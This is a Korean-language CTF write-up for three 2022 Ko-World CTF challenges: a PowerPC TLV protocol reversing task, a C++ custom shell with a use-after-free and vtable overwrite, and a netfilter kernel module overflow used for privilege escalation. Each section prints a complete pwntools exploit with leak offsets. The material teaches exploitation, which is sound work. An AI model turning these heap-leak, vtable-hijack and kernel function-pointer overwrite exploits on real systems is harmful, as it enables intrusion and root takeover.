2022 Ko-World CTF Writeup
easytlv
- protocol reversing, base64
32bit MSB executable 파일이 주어진다. 평소에 보던 LSB executable이 아니라 MSB executable 파일이라 패킹할 때 endian을 잘 고려해야 한다.
easytlv: ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), dynamically linked, interpreter /lib/ld.so.1, for GNU/Linux 3.2.0, BuildID[sha1]=31b0c6b8608636e8a3e67860615bb01a53b2af44, not stripped
base64인코딩은 https://gist.github.com/happyjake/3623640 의 소스코드를 활용한 걸로 보인다.
recv_message_header에서는 총 10바이트를 입력받게 되는데 첫 두바이트는 \x13\x37로 맞춰야한다. 다음 4바이트는 BASE64인코딩된 payload의 length이다. 다음 4바이트는 recv_messages_b64의 반복 루프 수이다.
1int __fastcall recv_message_header(int a1, unsigned int *a2, unsigned int *a3)
2{
3 unsigned int v8; // [sp+20h] [-20h] BYREF
4 unsigned int v9; // [sp+24h] [-1Ch] BYREF
5 _BYTE v10[20]; // [sp+28h] [-18h] BYREF
6
7 if ( read(a1, v10, 2u) != 2 )
8 return -1;
9 if ( read(a1, &v8, 4u) != 4 )
10 return -1;
11 if ( read(a1, &v9, 4u) != 4 )
12 return -1;
13 if ( v10[0] != 0x13 || v10[1] != 0x37 )
14 return -2;
15 if ( v8 > 32768 )
16 return -2;
17 if ( v9 > 128 )
18 return -2;
19 *a2 = v8;
20 *a3 = v9;
21 return 0;
22}
main함수에서 message_get함수를 호출하게 되는데 message_get(data, 255, 1);을 보면 recv_messages_b64에서 세팅한 값에 따라 control flow가 결정된다. 즉, *(data + i + 4)의 값을 255, *(data + i + 132)값을 0을 맞춰주면 된다. 그리고 *(_DWORD *)(data + 4 * (idx + 0x40) + 4)의 값을 1로 맞추면 do_ls 함수를 호출 할 수 있고, 2로 맞추면 do_cat함수를 호출할 수 있다.
message_get
1unsigned int __fastcall message_get(unsigned int *data, char a2, char a3)
2{
3 unsigned int i; // [sp+1Ch] [-14h]
4
5 for ( i = 0; *data > i; ++i )
6 {
7 if ( a2 == *(data + i + 4) && a3 == *(data + i + 132) )
8 return i;
9 }
10 return -1;
11}
do_ls를 짜려면 다음과 같은 조건들을 만족해야 한다.
1int __fastcall do_ls(int a1)
2{
3 int v3; // [sp+1Ch] [-14h]
4
5 if ( *(a1 + 4 * (message_get(a1, 0, 0) + 64) + 4) == 1 ) // a1[4*(64+idx)+4] == 1
6 {
7 v3 = *(a1 + 4 * (message_get(a1, 1, 2) + 64) + 4);
8 if ( v3 )
9 execl("/bin/ls", "/bin/ls", v3, 0);
10 }
11 return -1;
12}
만약 ls /
를 호출하고 싶다면 다음과 같이 짜면 된다.
- message_get(a1, 0, 0)을 우선 만족시켜야 하고
*(_BYTE *)(data + 4 * (idx + 64) + 4)
가 1이면 된다. 이는 recv_messages_b64에서 주석처럼 채워주면 조건을 만족할 수 있다. 이 부분의 payload는\x00\x00\x01\x00\x00\x00\x00\x01
이 된다.
1plaintext = get_and_dec(plaintext, &d1, 1u, &size);// 0
2plaintext = get_and_dec(plaintext, &d2, 1u, &size);// 0
3plaintext = get_and_dec(plaintext, &d3, 4u, &size);// \x01\x00\x00\x00
4switch ( d2 )
5 case 0:
6 if ( d3 != 1 )
7 return -1;
8 plaintext = get_and_dec(plaintext, &d4, 1u, &size); // 1
9 if ( !plaintext )
10 return -1;
11 *(_BYTE *)(data + idx + 4) = d1; // 0
12 *(_BYTE *)(data + idx + 132) = d2; // 0
13 *(_BYTE *)(data + 4 * (idx + 64) + 4) = d4 != 0;// *(a1 + 4 * (message_get(a1, 0, 0) + 64) + 4) == 1
14 break;
- 다음은 execl("/bin/ls”, “/bin/ls”, v3, 0); 에서 v3에 들어갈 경로를 세팅해야 한다. v3는 포인터가 들어가야한다. v3 = *(a1 + 4 * (message_get(a1, 1, 2) + 64) + 4); 그러면 case2를 이용하면 원하는 문자열을 넣을 수 있고 추가로 포인터를 세팅할 수 있다. ls / 을 할거면 /는 1글자니까 d3에 1을 세팅해주면 된다. 그러면 get_and_dec(plaintext, ptr, d3, &size) 코드를 통해 동적할당한 영역에 / 를 넣을 수 있고 이 포인터를 *(_DWORD *)(data + 4 * (idx + 64) + 4) 에 넣어서 execl의 세번째 인자로 넘길 수 있다.
1plaintext = get_and_dec(plaintext, &d1, 1u, &size);// 1
2plaintext = get_and_dec(plaintext, &d2, 1u, &size);// 2
3plaintext = get_and_dec(plaintext, &d3, 4u, &size);// \x01\x00\x00\x00
4switch ( d2 ){
5 case 2:
6 ptr = malloc(d3);
7 if ( !ptr )
8 return -1;
9 plaintext = get_and_dec(plaintext, ptr, d3, &size); // path
10 if ( !plaintext )
11 return -1;
12 *(_BYTE *)(data + idx + 4) = d1; // 1
13 *(_BYTE *)(data + idx + 132) = d2; // 2
14 *(_DWORD *)(data + 4 * (idx + 64) + 4) = ptr;// v3 = *(a1 + 4 * (result + 64) + 4)
15 break;
- ls를 호출하려면 main에서 do_ls를 call 해야한다. 우리는 do_ls를 할거면 주석처럼 조건을 맞춰주면 된다. main에서 v7 = message_get(data, 255, 1); 가 호출되고 여기 d4에 따라 do_ls, do_cat을 호출할지 결정할 수 있다.
1plaintext = get_and_dec(plaintext, &d1, 1u, &size);// \xff
2plaintext = get_and_dec(plaintext, &d2, 1u, &size);// \x01
3plaintext = get_and_dec(plaintext, &d3, 4u, &size);// \x04\x00\x00\x00
4switch ( d2 )
5{
6 case 1:
7 if ( d3 != 4 )
8 return -1;
9 plaintext = get_and_dec(plaintext, &d4, 4u, &size); // 1 : do_ls | 2 : do_cat
10 if ( !plaintext )
11 return -1;
12 *(_BYTE *)(data + idx + 4) = d1; // 255
13 *(_BYTE *)(data + idx + 132) = d2; // 1
14 *(_DWORD *)(data + 4 * (idx + 0x40) + 4) = d4 // 1 : do_ls | 2 : do_cat
15 break;
페이로드는 다음과 같이 짜면 되고, header는 \x13\x37 고정하고, Base64 인코딩된 payload의 길이만큼 보내주면 되고, 다음은 switch 루틴 3번 돌리니까 3을 써주면 된다.
ls 페이로드랑 다르게 cat 페이로드는 /flag.txt는 9글자이므로 2번째 section은 9로 맞추고, 3번째 section은 2로 맞춰서 execl("/bin/cat", "/bin/cat", "/flag.txt", 0);
를 실행하게 하면 된다.
exploit.py
1from pwn import *
2import base64
3context.log_level = 'debug'
4p = remote('192.168.171.91',31337)
5
6# content
7ls = b"\x00\x00\x01\x00\x00\x00\x01"
8ls += b"\x01\x02\x01\x00\x00\x00"
9ls += b"/"
10ls += b"\xff\x01\x04\x00\x00\x00\x01\x00\x00\x00"
11pay2 = base64.b64encode(ls)
12
13cat = b"\x00\x00\x01\x00\x00\x00\x01"
14cat += b"\x01\x02\x09\x00\x00\x00"
15cat += b"/flag.txt"
16cat += b"\xff\x01\x04\x00\x00\x00\x02\x00\x00\x00"
17pay2 = base64.b64encode(cat)
18
19# header
20pay = b'\x13\x37'
21pay += p32(len(pay2), endian='little')
22pay += p32(3, endian='little')
23
24p.send(pay)
25sleep(0.1)
26
27p.send(pay2)
28
29p.interactive()
ls payload를 보내면 다음과 같다.
cat payload를 보내면 다음과 같은 결과를 얻을 수 있다.
FLAG : The course of true love never did run smooth.
csh
- UAF, C++ Map, vtable, RCE
바이너리에 모든 보호기법이 걸려있었다.
➜ day2 python3 ex.py
[*] '/vagrant/koworld/day2/csh'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
[+] PIE: PIE enabled
문제 컨셉은 csh 그대로 커스텀 쉘이다. 기능은 ls, echo, cat, rm Linux Command들이다. 파일을 실행하고 help를 누르면 다음과 같이 Custom Shell Command들이 나타난다. 총 4개의 기능들이 존재한다.
➜ day2 ./csh
> help
Custom Shell
command:
help - print usable command
ls - list directory contents
echo - display a line of text
cat - concatenate files and print on the standard output
rm - remove file
input에 따라 executeCommand에서 다음 control flow가 변경된다.
함수를 하나하나 자세히 알아보자.
echo는 총 3가지 방법으로 쓸 수 있다.
- echo AAAA : AAAA 출력한다.
- echo AAAA > BBBB : BBBB파일에 AAAA를 쓴다.
- echo AAAA » BBBB : BBBB파일이 없으면 AAAA를 쓴다. 만약 BBBB파일이 있으면 AAAA를 덧붙임.
echo
1 else if ( std::filesystem::__cxx11::operator==(v31, "echo") )
2 {
3 std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::vector(v28, a1);
4 valid = validArguments(v28, 4);
5 std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::~vector(v28);
6 if ( valid )
7 {
8 v3 = std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::operator[](
9 a1,
10 1LL);
11 std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v33, v3);
12 v4 = std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::operator[](
13 a1,
14 2LL);
15 if ( std::filesystem::__cxx11::operator==(v4, ">") )// create file
16 {
17 v5 = std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::operator[](
18 a1,
19 3LL);
20 std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=(v32, v5);
21 std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(MYOBJ, v32);
22 File = getOrCreateFile(MYOBJ);
23 std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string();
24 std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(MYOBJ, v33);
25 CustomFileObj::create(File, MYOBJ); // create
26 std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string();
27 }
28 else
29 {
30 v6 = std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::operator[](
31 a1,
32 2LL);
33 if ( std::filesystem::__cxx11::operator==(v6, &off_A12C) )// add file
34 {
35 v7 = std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::operator[](
36 a1,
37 3LL);
38 std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=(v32, v7);
39 std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(MYOBJ, v32);
40 v24 = getOrCreateFile(MYOBJ);
41 std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string();
42 std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(MYOBJ, v33);
43 CustomFileObj::add(v24, MYOBJ); // add
44 std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string();
45 }
46 }
47 std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string();
48 }
49 else
50 {
51 std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::vector(v29, a1);
52 v8 = validArguments(v29, 2);
53 std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::~vector(v29);
54 if ( v8 )
55 {
56 v9 = std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::operator[](
57 a1,
58 1LL);
59 std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(MYOBJ, v9);
60 if ( std::filesystem::__cxx11::operator==(MYOBJ, ">") || std::filesystem::__cxx11::operator==(MYOBJ, &off_A12C) )
61 v11 = std::operator<<<std::char_traits<char>>(&std::cout, "syntax error near unexpected token 'newline'");
62 else
63 v11 = std::operator<<<char>(&std::cout, MYOBJ);
64 std::ostream::operator<<(v11, &std::endl<char,std::char_traits<char>>);
65 std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string();
66 }
67 else
68 {
69 v12 = std::operator<<<std::char_traits<char>>(&std::cout, "echo: invalid arguments");
70 std::ostream::operator<<(v12, &std::endl<char,std::char_traits<char>>);
71 }
72 }
73 }
ls는 list()함수를 call해서 처리하는데 할당된 map들을 루틴 돌려서 파일을 출력해준다.
ls
1 else if ( std::filesystem::__cxx11::operator==(v31, "ls") )
2 {
3 std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::vector(v30, a1);
4 v13 = validArguments(v30, 2);
5 std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::~vector(v30);
6 if ( v13 )
7 {
8 v14 = std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::operator[](
9 a1,
10 1LL);
11 std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=(v32, v14);
12 std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(MYOBJ, v32);
13 list(MYOBJ);
14 std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string();
15 }
16 else
17 {
18 list();
19 }
20 }
cat은 getOrCreateFile을 통해서 Customfile을 읽을수 있다. 다만 여기서 가상함수를 사용해 호출한다.
cat
1 if ( std::filesystem::__cxx11::operator==(v31, "cat") )
2 {
3 std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::vector(v30, a1);
4 v15 = 1;
5 if ( validArguments(v30, 2) )
6 v16 = 1;
7 }
8 if ( v15 )
9 std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::~vector(v30);
10 if ( v16 )
11 {
12 v17 = std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::operator[](
13 a1,
14 1LL);
15 std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=(v32, v17);
16 std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(MYOBJ, v32);
17 v25 = getOrCreateFile(MYOBJ);
18 std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string();
19 v18 = (**v25)(v25); // vuln
20 Contents = CustomContentsObj::getContents(v18);
21 concatenate(Contents);
22 }
rm은 Customfile을 지워주는 역할을 한다. 여기서 remove에서 CreatefileObj의 메모리를 해제 하지 않는다.
rm
1 if ( std::filesystem::__cxx11::operator==(v31, "rm") )
2 {
3 std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::vector(v30, a1);
4 v19 = 1;
5 if ( validArguments(v30, 2) )
6 v20 = 1;
7 }
8 if ( v19 )
9 std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::~vector(v30);
10 if ( v20 )
11 {
12 v21 = std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::operator[](
13 a1,
14 1LL);
15 std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=(v32, v21);
16 std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(MYOBJ, v32);
17 getOrCreateFileOBJ = getOrCreateFile(MYOBJ);
18 std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string();
19 CustomFileObj::remove(getOrCreateFileOBJ);// free file
20 std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(MYOBJ, v32);
21 remove(MYOBJ);
22 std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string();
23 }
Exploit Scenario
vtable을 덮으려면 우선 leak을 해야한다. 나 같은 경우는 Fuzzing을 하면서 릭을 해낸 case다. 우선 heap주소, CustomFileObj vtable 주소, main_arean의 주소를 구할 수 있었다. 이를 통해서 heap base, pie base, libc base 주소를 다 구했다.
그 다음에 트리거하는 부분이다.
- g파일을 하나 만들고, g파일을 삭제한다.
- h파일을 만든다. 그리고 g파일을 만드는데 여기서 UAF(Use After Free) 취약점을 이용할 수 있다. 그리고 vtable을 덮을 수 있게 된다. 그래서 함수포인터를 호출할 때 원하는 주소로 call을 할 수 있다. 다만 여기서 double 포인터로 맞춰줘야한다. 그래서 위에서 할당할 때 힙에
p64(piebase + 0x2849)
값을 써준다. 어차피 힙 베이스 주소를 아니까 어디에 적재되는지 알 수 있다. - 이제 쉘 주소가 힙에 써진걸 알았으면 gdb로 serach 기능 활용해서 offset을 구한다. 그리고 g파일을 생성하면 된다. 그리고 content에 heapbase + offset을 써주면 이게 piebase + 0x2849를 가르키고 call을 쉘 주소로 할 수 있다.
1echo2(b'g',b'g')
2rm(b'g')
3echo2(b'h',b'h')
4echo2(p64(heapbase+75448),b'g')
5cat(b'h')
Exploit
exploit.py
1from pwn import *
2
3context.log_level = 'debug'
4e = ELF('./csh')
5# p = process(e.path, aslr=True)
6p = remote('192.168.171.15',50000)
7
8# shell = e.symbols['getRealShell']
9
10def echo(data):
11 pay = b'echo ' + data
12 p.sendlineafter(b'>', pay)
13
14def echo2(data, file):
15 pay = b'echo ' + data + b' > ' + file
16 p.sendlineafter(b'>', pay)
17
18def echo3(data, file):
19 pay = b'echo ' + data + b' >> ' + file
20 p.sendlineafter(b'>', pay)
21
22# 0x555555554000+0x000000000000391F
23def cat(data):
24 pay = b'cat ' + data
25 p.sendlineafter(b'>', pay)
26
27# 0x555555554000+0x00000000000049DC
28def rm(file):
29 pay = b'rm ' + file
30 p.sendlineafter(b'>', pay)
31
32def ls():
33 p.sendlineafter(b'>',b'ls')
34
35echo2(b'a'*24, b'a')
36echo2(b'b', b'b')
37echo2(b'b'*24, b'a')
38
39cat(b'a')
40rm(b'a')
41cat(b'a')
42
43heapbase = hex(u64(b'\x00' + p.recvline()[:6] + b'\x00'))
44heapbase = int(heapbase[:-1], 16) # [heap] +0x12200
45heapbase = heapbase - 0x12200
46print('heapbase : ' + hex(heapbase))
47
48echo2(b'c'*128,b'z')
49echo2(b'c'*16,b'z')
50echo2(b'c'*120+b'\x12\x34\x12\x34\x56\x56\x78\x78',b'z')
51
52# vtable
53'''
540x555555576400 —▸ 0x555555562bc0 —▸ 0x5555555589c6 (CustomFileObj::getContentsObj())
550x555555562bc0 <vtable for CustomFileObj+16>: 0x00005555555589c6 0x00001555554f7fe0
560x555555562bd0 <typeinfo for CustomFileObj+8>: 0x000055555555e240 0x0000000000000001
57'''
58cat(b'a')
59vtable_customfileobj16 = u64(p.recvline()[1:6]+b'\x55\x00\x00')
60print('vtable for CustomFileObj+16 : {}'.format(hex(vtable_customfileobj16)))
61piebase = vtable_customfileobj16 - 0xebc0
62print('piebase : {}'.format(hex(piebase)))
63
64
65echo2(b'B'*56 + p64(piebase + 0x2849), b'A'*64)
66rm(b'z')
67cat(b'z')
68main_arena = u64(p.recvline()[1:7]+b'\x00\x00') # main_arena + 96
69print('main_arena : {}'.format(hex(main_arena)))
70libc_base = main_arena - 0x219ce0
71print('libc_base : {}'.format(hex(libc_base)))
72
73# # echo2(b'1234',b'5678')
74# # echo2(b'5678',b'1234')
75
76echo2(b'g',b'g')
77rm(b'g')
78echo2(b'h',b'h')
79echo2(p64(heapbase+75448),b'g')
80pause()
81cat(b'h')
82p.interactive()
83
84'''
85[heap] 0x556202a1f6b8 0x55620238f849
86[heap] 0x556202a1f708 0x55620238f849
87[heap] 0x556202a1f75d 0x55620238f849
88[heap] 0x556202a1f85d 0x55620238f849
89[heap] 0x556202a1f8fd 0x55620238f849
90[heap] 0x556202a1f99d 0x55620238f849
91[heap] 0x556202a1fa3d 0x55620238f849
92[heap] 0x556202a1fb68 0x55620238f849
93[heap] 0x556202a20028 0x55620238f849
94[heap] 0x556202a2020e 0x55620238f849
95[heap] 0x556202a2025e 0x55620238f849
960x555555554000+0x000000000000391F
97pwndbg> p/x 0x55a06a847bc0 - 0x55a06a839000
98$1 = 0xebc0
99# map {'filename':'content'}
100
101
102[*] '/vagrant/koworld/day2/csh'
103 Arch: amd64-64-little
104 RELRO: Full RELRO
105 Stack: Canary found
106 NX: NX enabled
107[+] PIE: PIE enabled
108'''
FLAG : flag{hmm_th1s_sh3ll_1s_uns@fety}
capture
- kernel, netfilter, LPE
서버환경은 Linux koworldctf 5.15.0-48-generic #54-Ubuntu SMP Fri Aug 26 13:26:29 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux 다음과 같다.
➜ day3 modinfo capture.ko
filename: /vagrant/koworld/day3/capture.ko
license: GPL
srcversion: 0375125F8129DD64C2460B0
depends:
retpoline: Y
name: capture
vermagic: 5.15.0-48-generic SMP mod_unload modversions
packet 구조는 다음과 같습니다. tcp만 사용하고 udp는 사용 안합니다.
struct packet
{
char name[4];
union
{
struct tcp_packet tcp_pkt;
struct udp_packet udp_pkt;
};
struct operators ops;
};
struct operators
{
void (*clear)(void);
int (*handler)(struct sk_buff *);
};
취약한 부분은 다음과 같습니다. 이부분에서 clear함수 포인터를 덮을 수 있게 됩니다.
for (i = 0; i < payload_len; i++)
{
pkt->tcp_pkt.body.payload[i] = payload[i];
}
netfilter에서 네트워크를 후킹한다. tcp, udp의 패킷들을 capture해주므로 dmesg에서 확인할 수 있다.
코드를 보면 tcp 패킷이 들어오면 tcp_handler에서 처리해준다. 그 패킷을 동적할당 해논 pkt에 복사해준다. 하지만 여기서 패킷을 복사할 때 pkt->tcp_pkt.body.payload[i] = payload[i];
코드 때문에 함수 포인터를 덮을 수 있게 된다. body 사이즈는 1440바이트고 뒤에 clear함수 포인터가 존재한다. ssh를 제공해줬으므로 kaslr을 고려하지 않고 로컬에서 아래처럼 privillege_escape함수의 주소를 패킹해서 보내주면 된다.
exploit.py
1from pwn import *
2import requests
3
4context.log_level='debug'
5p = remote('192.168.171.15', 9001)
6
7packet = b'A'*1440
8packet += p64(0xffffffffc06382c9)
9
10p.send(packet)
11p.interactive()
익스플로잇 순서는 다음과 같다.
-
ssh 내부에서 9001번 포트로 연다.
-
위의 python exploit code를 보낸다.
-
그러면 privilege escape !가 뜨는 것을 확인할 수 있다. commit_creds(prepare_kernel_cred(0)); 가 실행되면 Linux의 Task 구조체를 덮어서 해당 태스크는 최고관리자 권한을 획득할 수 있게 됩니다.
FLAG: flag{EZPZ_FUNNY_NETFILTER}